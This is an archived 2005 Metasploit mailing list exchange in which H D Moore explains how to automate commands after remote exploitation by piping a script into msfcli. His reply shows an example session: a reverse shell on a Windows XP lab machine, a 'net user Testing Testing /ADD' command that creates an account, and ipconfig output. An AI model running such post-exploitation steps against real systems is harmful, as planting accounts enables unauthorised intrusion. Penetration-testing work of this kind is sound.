Metasploit mailing list archives

Executing commands after remote exploitation


From: hdm at metasploit.com (H D Moore)
Date: Thu, 3 Mar 2005 04:21:18 -0600

The console interface does not support that yet, but it has been on the 
task list for a few months :-) If you need to automate command execution, 
the really simple way is via msfcli and the standard shell. For example:

$ cat>script.txt
net user Testing Testing /ADD
ipconfig /all

$ (cat script.txt; sleep 2) | msfcli exploit_name  E
[*] Starting Reverse Handler.
[*] Attempting to exploit target Windows XP English SP0/SP1
[*] Sending 8239 bytes to remote host.
[*] Got connection from 192.168.0.100:1981 <-> 192.168.0.219:4237
[*] Sending Stage (143 bytes)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Program Files\xxxxxx\temp>net user Testing Testing /ADD
The command completed successfully.

C:\Program Files\xxxxxx\temp>ipconfig /all

Windows IP Configuration

        Host Name . . . . . . . . . . . . : WINXPSP1
        Primary Dns Suffix  . . . . . . . :
        Node Type . . . . . . . . . . . . : Unknown
        IP Routing Enabled. . . . . . . . : No
        WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter Local Area Connection:

C:\Program Files\xxxxxx\temp>

-HD

On Thursday 03 March 2005 03:58, Ismail Hameed wrote:
Hi guyz

I wanted to ask if it possible to execute commands for
example in a Win32 console after it had been exploited
by an exploit run in metasploit, by a script.

I am using the msfconsole -s <file> option, where the
contents of <file> are to select the exploit and
payload, etc plus run commands on the 'exploited'
machine. Currently I cannot do this. Is there a way???

ISMAIL




__________________________________
Celebrate Yahoo!'s 10th Birthday!
Yahoo! Netrospective: 100 Moments of the Web
http://birthday.yahoo.com/netrospective/



Current thread: